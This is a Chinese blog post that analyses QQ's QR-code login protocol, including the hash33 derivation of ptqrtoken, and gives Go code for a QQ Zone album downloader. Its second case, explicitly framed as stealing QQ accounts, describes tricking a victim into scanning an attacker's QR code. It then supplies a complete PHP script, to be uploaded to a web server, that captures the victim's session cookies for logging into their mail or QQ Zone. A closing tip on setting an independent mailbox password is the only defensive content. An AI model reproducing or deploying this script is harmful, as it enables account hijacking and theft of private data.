相关阅读
杂谈
最近QQ的盗号事件属实是太离谱了,很多热心网友表示自己号被盗之后直接在学校或者朋友群里“社死”
大概图片类似下面这样的,一张美女图片配上拙略的白色文字,上面有一些奇妙的网址……
然后,还有热心网友分享了某群的热心群主奇葩的操作,上一秒还在叮嘱热心网友,下一秒自己就暴毙了……
最后还有各种热心网友在群里借此调侃,什么肯德基疯狂星期四啦,蔡徐坤啦,B站付费番剧的梗全来了
真是一种奇妙的文化……
最后,QQ在微博上也进行了相关的回复,点击阅读
正文内容
下面开始正文内容,今天来借此聊一聊QQ二维码认证的缺陷
我们打开以QQ邮箱为例,QQ邮箱入口
接下来你可以使用BurpSuite配合浏览器抓包
BurpSuite抓包
相关工具
抓包过程
我们可以打开浏览器,进入QQ邮箱的链接
然后选择Intercept is on
这里我们就可以看到qrsig参数了
不断点Forward,你会发现它会一直发送请求来获取验证码状态,我们可以将其send to repeater
算法分析
然后我们发现一个很有趣的事情,这里如果用QQ号进行了扫码,关掉浏览器再重新打开的时候,QQ的参数好像会存在Cookie
的uin
里
上面请求包里最重要的两个参数就是
- qrsig
- ptqrtoken
ptqrtoken是qrsig对应的token
我们可以在访问QQ邮箱页面时,按F12,然后选择控制台
清晰图片链接:
https://wy-1308483560.cos.ap-shanghai.myqcloud.com/2022/06/20220627082328387.png?imageMogr2/format/webp/interlace/1/quality/100|watermark/2/text/cWluMC5jbg/font/dGFob21hLnR0Zg/fontsize/48/fill/IzAwMDAwMA/dissolve/80/gravity/southeast/dx/20/dy/10
https://static.iculture.cc/wp-content/uploads/2022/06/20220627082328387.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10
点开c_login_2.js可以查看详细的代码,我们可以搜索ptqrlogin
查看它是如何生成的
可以看到ptqrtoken是通过hash33算法生成的
为了方便搜索阅读,我们可以将上面的代码在新的标签页打开
如果你找不到,我们将链接提供在了下方,您可以搜索进行验证
https://qq-web-legacy.cdn-go.cn/any.ptlogin2.qq.com/v1.32.3/ptlogin/js/c_login_2.js
搜索hash33关键词
可以发现其算法如下
如何验证这个算法是正确的呢?
我们将其封装并填入在控制台的输入里
同时寻找一个现成的请求
可以看到这里qrsig的值为
我们同时记录url
然后我们在控制台里填入函数,并输出经过计算后的ptqrtoken
里计算结果为
对比发现没错,算法是精准的
流程总结
因此完整的流程可以归纳为
- 获取二维码和qrsig值
- 根据qrsig值计算ptqrtoken
- 一直发送qrsig、ptqrtoken来确认验证码状态(未失效?认证中?已失效?)
- 如果有人扫码并确认,则返回成功的结果。如果扫码未确认或者超时,则重复上述步骤
应用案例一:QQ空间批量下载相册
有了上面的流程,可以说是个双刃剑。
对于一些热心网友的开发,比方说扫码登录就是一个很不错的应用
我们之前给大家分享过用Go语言开发的QQ空间相册批量下载的程序
其中扫描二维码登录空间的核心代码如下
// 检查用户是否扫描成功以及是否登录成功 func (q *Qzone) ifLogin(ptqrtoken string, loginSig string, qrsig string) (string, error) { header := make(map[string]string) header["user-agent"] = USER_AGENT header["cookie"] = fmt.Sprintf("qrsig=%s;", qrsig) url := fmt.Sprintf("https://ssl.ptlogin2.qq.com/ptqrlogin?u1=%s&ptqrtoken=%v&ptredirect=0&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=%v&js_ver=21010623&js_type=1&login_sig=%v&pt_uistyle=40&aid=549000912&daid=5&has_onekey=1", iurl.QueryEscape("https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone"), ptqrtoken, q.action(), loginSig) _, b, err := ihttp.Get(url, header) if err != nil { return "", errors.New(err.Error()) } return string(b), nil } // 随机数 func (q *Qzone) t() string { return strconv.FormatFloat(rand.Float64(), 'g', -1, 64) } // 获取二维码 func (q *Qzone) getQRC() (http.Header, error) { url := "https://ssl.ptlogin2.qq.com/ptqrshow?appid=549000912&e=2&l=M&s=3&d=72&v=4&t=" + q.t() + "&daid=5&pt_3rd_aid=0" resp, err := http.Get(url) if err != nil { return nil, err } defer resp.Body.Close() file, err := os.OpenFile(QRCODE_SAVE_PATH, os.O_RDWR|os.O_CREATE, 0666) if err != nil { return nil, err } defer file.Close() _, err = io.Copy(file, resp.Body) if err != nil { return nil, err } return resp.Header, nil } // 获取login_sig参数 func (q *Qzone) getLoginSig() (string, error) { url := "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https://qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone&pt_qr_app=手机QQ空间&pt_qr_link=https://z.qzone.com/download.html&self_regurl=https://qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=https://z.qzone.com/download.html&pt_no_auth=0" resp, err := http.Get(url) if err != nil { return "", errors.New(err.Error()) } resp.Body.Close() setCookies := resp.Header.Values("Set-Cookie") if len(setCookies) < 1 { return "", errors.New("获取login_sig参数错误,请稍后重试") } var loginSig string for _, val := range setCookies { if strings.Contains(val, "pt_login_sig=") { s := strings.Split(val, ";") for _, v := range s { if strings.Contains(v, "pt_login_sig=") { loginSig = strings.Replace(v, "pt_login_sig=", "", 1) } } } } if loginSig == "" { return "", errors.New("获取login_sig参数错误,请稍后重试") } return loginSig, nil } /** * 获获取ptqrttoken参数 * header http.Header 将获取二维码接口的headers传进来 */ func (q *Qzone) ptqrtoken(qrsig string) string { e := 0 for i := 0; i < len(qrsig); i++ { e += (e << 5) + int(qrsig[i]) } return strconv.Itoa(2147483647 & e) } // 获取action参数 func (q *Qzone) action() string { return fmt.Sprintf("0-0-%d", time.Now().Unix()*1000) } // 登录成功,验证进入空间的签名 func (q *Qzone) credential(url string) (map[string]string, error) { req, err := http.NewRequest("GET", url, nil) if err != nil { return nil, err } client := &http.Client{} client.CheckRedirect = func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse } resp, err := client.Do(req) if err != nil { return nil, err } defer resp.Body.Close() var ( p_skey string needs = []string{"uin", "skey", "p_uin", "pt4_token", "p_skey"} // 需要从set-cookie取的参数 cookie = make([]string, 0) ) setCookies := resp.Header.Values("Set-Cookie") for _, val := range setCookies { c := strings.Split(strings.Split(val, ";")[0], "=") name := c[0] value := c[1] for _, ckey := range needs { if name == ckey && value != "" { if ckey == "p_skey" { p_skey = value } cookie = append(cookie, fmt.Sprintf("%s=%s", name, value)) } } } res := make(map[string]string) res["g_tk"] = q.gtk(p_skey) res["cookie"] = strings.Join(cookie, "; ") return res, nil } // 获取登录成功之后的g_tk参数 func (q *Qzone) gtk(skey string) string { h := 5381 for i := 0; i < len(skey); i++ { h += (h << 5) + int(skey[i]) } return strconv.Itoa(h & 2147483647) }
应用案例二:QQ盗号全过程
当然,如果碰到一些内心比较阴暗的网友,也会通过二维码的机制,在别人不小心扫码登陆后,在空间发布恶意内容!我们今天给大家讲解一下完整过程,其实我们之前分享过详细的代码。
我们今天进行一个具体的演示,代码会在最后进行分享
投递二维码获取Cookie
我们可以访问下面的链接
然后你会发现下面的代码为
- qrsig就是我们上面讲的
- qr_code是二维码图片
我们复制qr_code后面的
我们可以复制到浏览器打开
然后让热心网友扫码
然后我们通过下面的链接进行查询结果
未失效代表的是二维码还没有扫
如果扫过了之后这里会出现对方的Cookie,拿到了Cookie基本上就可以登录QQ邮箱了!
你可以通过cookie-editor或者其他插件修改cookie登录QQ邮箱或者QQ空间
这里我们就不再深入探讨了,您如果有想法可以在评论区留言!
其实代码之前就分享过,这里再分享一次,您可以上传到网站目录下,使用index.php
命令
<?phperror_reporting(0);header(‘content-type:application/json’);function request_http($url, $type=0, $post_data=”, $ua=‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.58’, $cookie=”, $header=array(), $redirect=true){// 初始化curl$curl = curl_init();// 设置网址curl_setopt($curl,CURLOPT_URL, $url);// 设置UAif (empty($ua) == false) {$header[] = ‘User-Agent:’.$ua;}// 设置Cookieif (empty($cookie) == false) {$header[] = ‘Cookie:’.$cookie;}// 设置请求头if (empty($ua) == false or empty($cookie) == false or empty($header) == false) {curl_setopt($curl, CURLOPT_HTTPHEADER, $header);}// 设置POST数据if($type == 1){curl_setopt($curl, CURLOPT_POST, true);curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);}// 设置重定向if ($redirect == false) {curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);}// 过SSL验证证书curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);// 将头部作为数据流输出curl_setopt($curl, CURLOPT_HEADER, true);// 设置以变量形式存储返回数据curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);// 请求并存储数据$return = curl_exec($curl);// 分割头部和身体if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == ‘200’) {$return_header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);$return_header = substr($return, 0, $return_header_size);$return_data = substr($return, $return_header_size);}// 关闭cURLcurl_close($curl);// 返回数据return [$return_header, $return_data];}function return_result($state, $info) {$result = array(‘state’=>$state,‘info’=>$info);exit(stripslashes(json_encode($result, JSON_UNESCAPED_UNICODE)));}function get_middle_text($text, $text_left, $text_right) {$left = strpos($text, $text_left);$right = strpos($text, $text_right, $left);if ($left < 0 or $right < $left) {return False;};return substr($text, $left + strlen($text_left), $right – $left – strlen($text_left));}function get_ptqrtoken($qrsig) {$len = strlen($qrsig);$hash = 0;for ($i = 0; $i < $len; $i++) {$hash += (($hash << 5) & 2147483647) + ord($qrsig[$i]) & 2147483647;$hash &= 2147483647;}return $hash & 2147483647;}function get_result_data($qrsig){$state_data = request_http(‘https://ssl.ptlogin2.qq.com/ptqrlogin?u1=https://qzs.qzone.qq.com/qzone/v5/loginsucc.html?para=izone&from=iqq&ptqrtoken=’.get_ptqrtoken($qrsig).‘&ptredirect=1&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=0-0-‘.time().‘&js_ver=10233&js_type=1&login_sig=’.$qrsig.‘&pt_uistyle=40&aid=549000912&daid=5’, null, null, null, ‘qrsig=’.$qrsig)[1];if (strpos($state_data, ‘未失效’) == true) {return ‘未失效’;}elseif (strpos($state_data, ‘认证中’) == true) {return ‘认证中’;}elseif (strpos($state_data, ‘登录成功’) == true) {$ptuicb_url = get_middle_text($state_data, “‘0′,’0’,'”, “‘,’1’,”);$ptuicb_header = request_http($ptuicb_url, null, null, null, null, null, false)[0];$cookie = ‘uin=’.get_middle_text($ptuicb_header, ‘uin=’, ‘;’).‘;skey=’.get_middle_text($ptuicb_header, ‘skey=’, ‘;’).‘;p_uin=’.get_middle_text($ptuicb_header, ‘p_uin=’, ‘;’).‘;p_skey=’.get_middle_text($ptuicb_header, ‘p_skey=’, ‘;’).‘;pt4_token=’.get_middle_text($ptuicb_header, ‘pt4_token=’, ‘;’);return [‘已登录’, $cookie];}elseif (strpos($state_data, ‘已失效’) == true) {return ‘已失效’;}}function get_login_data(){$return = request_http(‘https://ssl.ptlogin2.qq.com/ptqrshow?appid=549000912&e=2&l=M&s=3&d=72&v=4&t=’.time().‘&daid=5&pt_3rd_aid=0’);$qrsig = get_middle_text($return[0], ‘qrsig=’, ‘;’);$qr_code = ‘data:image/jpeg;base64,’.base64_encode($return[1]);return [$qrsig, $qr_code];}$TYPE = $_REQUEST[‘type’];$QRSIG = $_REQUEST[‘qrsig’];if (empty($TYPE) == true or ($TYPE != ‘get’ and empty($QRSIG) == true)) {return_result(100, ‘参数错误’);}elseif ($TYPE == ‘get’) {$login_data = get_login_data();$result = array(‘qrsig’=>$login_data[0],‘qr_code’=>$login_data[1]);return_result(200, $result);}elseif ($TYPE == ‘result’) {$result_data = get_result_data($QRSIG);if (is_string($result_data) == True) {$result = $result_data;}else{$result = array(‘state’=>$result_data[0],‘cookie’=>$result_data[1]);}return_result(200, $result);}else{return_result(100, ‘类型错误’);}?>
防范措施
建议您对于QQ邮箱启用独立验证码
设置方法:在设置>账户>账户安全中
设置好独立密码
建议您对于QQ邮箱启用独立验证码
原文链接:https://www.iculture.cc/knowledge/pig=18682
https://www.iculture.cc/knowledge/pig=18682
最新评论